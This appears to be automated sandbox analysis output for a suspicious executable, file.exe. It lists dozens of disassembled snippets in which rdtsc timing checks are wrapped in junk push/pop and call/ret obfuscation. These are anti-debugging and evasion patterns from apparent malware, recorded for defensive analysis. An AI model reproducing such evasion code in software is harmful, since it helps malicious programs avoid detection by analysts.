Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B6A2D second address: 12B6A3C instructions: 0x00000000 rdtsc 0x00000002 js 00007FE45D015356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B6A3C second address: 12B6A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B6D54 second address: 12B6D72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D015364h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B6D72 second address: 12B6D76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B6EB2 second address: 12B6ECB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D015365h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7019 second address: 12B701F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B701F second address: 12B702B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FE45D015356h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B702B second address: 12B7042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007FE45D01194Ch 0x0000000b jc 00007FE45D011946h 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7042 second address: 12B7088 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D015363h 0x00000007 je 00007FE45D015356h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FE45D01535Ah 0x00000014 pushad 0x00000015 jmp 00007FE45D01535Eh 0x0000001a jmp 00007FE45D01535Ch 0x0000001f push ebx 0x00000020 pop ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7328 second address: 12B732C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7A30 second address: 12B7A3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7BD8 second address: 12B7BF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D011954h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7D54 second address: 12B7D62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007FE45D015356h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7D62 second address: 12B7D66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7D66 second address: 12B7D85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE45D015365h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BC9EA second address: 12BC9EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BE8D7 second address: 12BE8DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BECEF second address: 12BECF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BECF3 second address: 12BED13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE45D015366h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BED13 second address: 12BED18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BD77B second address: 12BD77F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BD77F second address: 12BD789 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE45D01194Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BDE52 second address: 12BDE58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C49F4 second address: 12C49F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C4B93 second address: 12C4BE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b jnc 00007FE45D015356h 0x00000011 popad 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jbe 00007FE45D015356h 0x0000001c jmp 00007FE45D015362h 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 pushad 0x00000025 jnl 00007FE45D015356h 0x0000002b pushad 0x0000002c popad 0x0000002d jmp 00007FE45D015366h 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C4D37 second address: 12C4D3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C4EBB second address: 12C4ED4 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE45D015356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FE45D01535Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C5CD3 second address: 12C5CD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C5CD9 second address: 12C5CDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C5EEA second address: 12C5EF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C6383 second address: 12C6398 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D015361h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C6398 second address: 12C63BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D011957h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007FE45D011948h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C63BE second address: 12C63C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C64A9 second address: 12C64AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C64AD second address: 12C64B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C6AF4 second address: 12C6AF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C7407 second address: 12C74A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D01535Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007FE45D01536Ah 0x0000000f jmp 00007FE45D015364h 0x00000014 popad 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007FE45D015358h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 00000015h 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 push 00000000h 0x00000032 ja 00007FE45D01535Ch 0x00000038 mov edi, dword ptr [ebp+122D3B91h] 0x0000003e push 00000000h 0x00000040 jns 00007FE45D01535Dh 0x00000046 xchg eax, ebx 0x00000047 pushad 0x00000048 push eax 0x00000049 jg 00007FE45D015356h 0x0000004f pop eax 0x00000050 jmp 00007FE45D015361h 0x00000055 popad 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007FE45D015364h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C7BAC second address: 12C7BB6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CC195 second address: 12CC212 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D015362h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c ja 00007FE45D01535Bh 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007FE45D015358h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push edx 0x00000033 call 00007FE45D015358h 0x00000038 pop edx 0x00000039 mov dword ptr [esp+04h], edx 0x0000003d add dword ptr [esp+04h], 00000019h 0x00000045 inc edx 0x00000046 push edx 0x00000047 ret 0x00000048 pop edx 0x00000049 ret 0x0000004a jmp 00007FE45D01535Bh 0x0000004f push eax 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 ja 00007FE45D015356h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CC212 second address: 12CC21D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D08C5 second address: 12D08C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D08C9 second address: 12D0969 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FE45D011957h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e xor dword ptr [ebp+12478B11h], edi 0x00000014 push 00000000h 0x00000016 jmp 00007FE45D01194Bh 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push eax 0x00000020 call 00007FE45D011948h 0x00000025 pop eax 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a add dword ptr [esp+04h], 0000001Dh 0x00000032 inc eax 0x00000033 push eax 0x00000034 ret 0x00000035 pop eax 0x00000036 ret 0x00000037 call 00007FE45D01194Bh 0x0000003c call 00007FE45D011958h 0x00000041 jmp 00007FE45D011956h 0x00000046 pop edi 0x00000047 pop edi 0x00000048 push eax 0x00000049 pushad 0x0000004a pushad 0x0000004b jnp 00007FE45D011946h 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D18C1 second address: 12D194D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 jo 00007FE45D015359h 0x0000000e mov bx, si 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007FE45D015358h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000017h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d mov dword ptr [ebp+1244BA36h], eax 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push ecx 0x00000038 call 00007FE45D015358h 0x0000003d pop ecx 0x0000003e mov dword ptr [esp+04h], ecx 0x00000042 add dword ptr [esp+04h], 0000001Ch 0x0000004a inc ecx 0x0000004b push ecx 0x0000004c ret 0x0000004d pop ecx 0x0000004e ret 0x0000004f mov di, 1DCDh 0x00000053 mov ebx, dword ptr [ebp+122D2A79h] 0x00000059 xchg eax, esi 0x0000005a pushad 0x0000005b jp 00007FE45D015358h 0x00000061 push edi 0x00000062 pop edi 0x00000063 jg 00007FE45D01535Ch 0x00000069 popad 0x0000006a push eax 0x0000006b push eax 0x0000006c push edx 0x0000006d pushad 0x0000006e js 00007FE45D015356h 0x00000074 pushad 0x00000075 popad 0x00000076 popad 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D3A7D second address: 12D3A82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D3A82 second address: 12D3A88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D3A88 second address: 12D3B1A instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE45D011946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f jmp 00007FE45D011957h 0x00000014 push 00000000h 0x00000016 mov dword ptr [ebp+1245B0BCh], ecx 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push edi 0x00000021 call 00007FE45D011948h 0x00000026 pop edi 0x00000027 mov dword ptr [esp+04h], edi 0x0000002b add dword ptr [esp+04h], 00000018h 0x00000033 inc edi 0x00000034 push edi 0x00000035 ret 0x00000036 pop edi 0x00000037 ret 0x00000038 or bx, 8CB3h 0x0000003d xchg eax, esi 0x0000003e pushad 0x0000003f push ebx 0x00000040 push esi 0x00000041 pop esi 0x00000042 pop ebx 0x00000043 pushad 0x00000044 push eax 0x00000045 pop eax 0x00000046 jmp 00007FE45D011951h 0x0000004b popad 0x0000004c popad 0x0000004d push eax 0x0000004e jc 00007FE45D01196Ah 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007FE45D011958h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D5992 second address: 12D5996 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D5996 second address: 12D599C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D692D second address: 12D6932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DA799 second address: 12DA7B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D011952h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CB53B second address: 12CB541 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CB541 second address: 12CB546 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CB546 second address: 12CB54C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE566 second address: 12DE57F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D011955h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D0AC1 second address: 12D0AE4 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE45D015356h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 ja 00007FE45D01535Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b push edx 0x0000001c pop edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D1AB9 second address: 12D1ACD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D011950h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DE57F second address: 12DE590 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE45D01535Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D2B06 second address: 12D2B0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D4CB4 second address: 12D4CBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D0AE4 second address: 12D0AE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D5B01 second address: 12D5B07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D1ACD second address: 12D1AD7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE45D01194Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D6A96 second address: 12D6A9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D79E1 second address: 12D7A73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push edx 0x0000000a mov dword ptr [ebp+12476F69h], edi 0x00000010 pop ebx 0x00000011 push dword ptr fs:[00000000h] 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b call 00007FE45D011948h 0x00000020 pop esi 0x00000021 mov dword ptr [esp+04h], esi 0x00000025 add dword ptr [esp+04h], 00000015h 0x0000002d inc esi 0x0000002e push esi 0x0000002f ret 0x00000030 pop esi 0x00000031 ret 0x00000032 mov edi, dword ptr [ebp+122D2C82h] 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f jno 00007FE45D01194Ch 0x00000045 mov ebx, dword ptr [ebp+122D38EDh] 0x0000004b mov eax, dword ptr [ebp+122D06A5h] 0x00000051 mov edi, dword ptr [ebp+122D2A80h] 0x00000057 push FFFFFFFFh 0x00000059 push 00000000h 0x0000005b push ebp 0x0000005c call 00007FE45D011948h 0x00000061 pop ebp 0x00000062 mov dword ptr [esp+04h], ebp 0x00000066 add dword ptr [esp+04h], 00000016h 0x0000006e inc ebp 0x0000006f push ebp 0x00000070 ret 0x00000071 pop ebp 0x00000072 ret 0x00000073 jnp 00007FE45D01194Ch 0x00000079 push eax 0x0000007a push eax 0x0000007b push edx 0x0000007c pushad 0x0000007d push eax 0x0000007e push edx 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D2B0C second address: 12D2B28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE45D01535Fh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D4CBC second address: 12D4CD4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE45D01194Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D5B07 second address: 12D5B10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D1AD7 second address: 12D1AE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D6A9A second address: 12D6AA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push esi 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D7A73 second address: 12D7A7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12DF60B second address: 12DF60F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D2B28 second address: 12D2B32 instructions: 0x00000000 rdtsc 0x00000002 je 00007FE45D011946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D4CD4 second address: 12D4CDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D9A46 second address: 12D9AE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D011956h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b jp 00007FE45D01194Eh 0x00000011 nop 0x00000012 mov di, cx 0x00000015 push dword ptr fs:[00000000h] 0x0000001c cld 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 cmc 0x00000025 mov eax, dword ptr [ebp+122D068Dh] 0x0000002b push 00000000h 0x0000002d push ecx 0x0000002e call 00007FE45D011948h 0x00000033 pop ecx 0x00000034 mov dword ptr [esp+04h], ecx 0x00000038 add dword ptr [esp+04h], 0000001Bh 0x00000040 inc ecx 0x00000041 push ecx 0x00000042 ret 0x00000043 pop ecx 0x00000044 ret 0x00000045 mov dword ptr [ebp+122D369Dh], ebx 0x0000004b push FFFFFFFFh 0x0000004d jmp 00007FE45D01194Fh 0x00000052 nop 0x00000053 jnc 00007FE45D011958h 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d push esi 0x0000005e pop esi 0x0000005f pushad 0x00000060 popad 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D5B10 second address: 12D5BDC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE45D015364h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jns 00007FE45D015364h 0x00000011 nop 0x00000012 adc di, D800h 0x00000017 push dword ptr fs:[00000000h] 0x0000001e mov edi, dword ptr [ebp+1244CF2Dh] 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b push 00000000h 0x0000002d push edi 0x0000002e call 00007FE45D015358h 0x00000033 pop edi 0x00000034 mov dword ptr [esp+04h], edi 0x00000038 add dword ptr [esp+04h], 0000001Ch 0x00000040 inc edi 0x00000041 push edi 0x00000042 ret 0x00000043 pop edi 0x00000044 ret 0x00000045 sub dword ptr [ebp+122D369Dh], esi 0x0000004b mov eax, dword ptr [ebp+122D0FC1h] 0x00000051 push 00000000h 0x00000053 push ebx 0x00000054 call 00007FE45D015358h 0x00000059 pop ebx 0x0000005a mov dword ptr [esp+04h], ebx 0x0000005e add dword ptr [esp+04h], 0000001Ch 0x00000066 inc ebx 0x00000067 push ebx 0x00000068 ret 0x00000069 pop ebx 0x0000006a ret 0x0000006b or ebx, dword ptr [ebp+12446610h] 0x00000071 mov dword ptr [ebp+122D2B78h], esi 0x00000077 push FFFFFFFFh 0x00000079 mov ebx, dword ptr [ebp+122D31BAh] 0x0000007f push eax 0x00000080 push eax 0x00000081 push edx 0x00000082 jmp 00007FE45D015369h 0x00000087 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D1AE3 second address: 12D1AE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
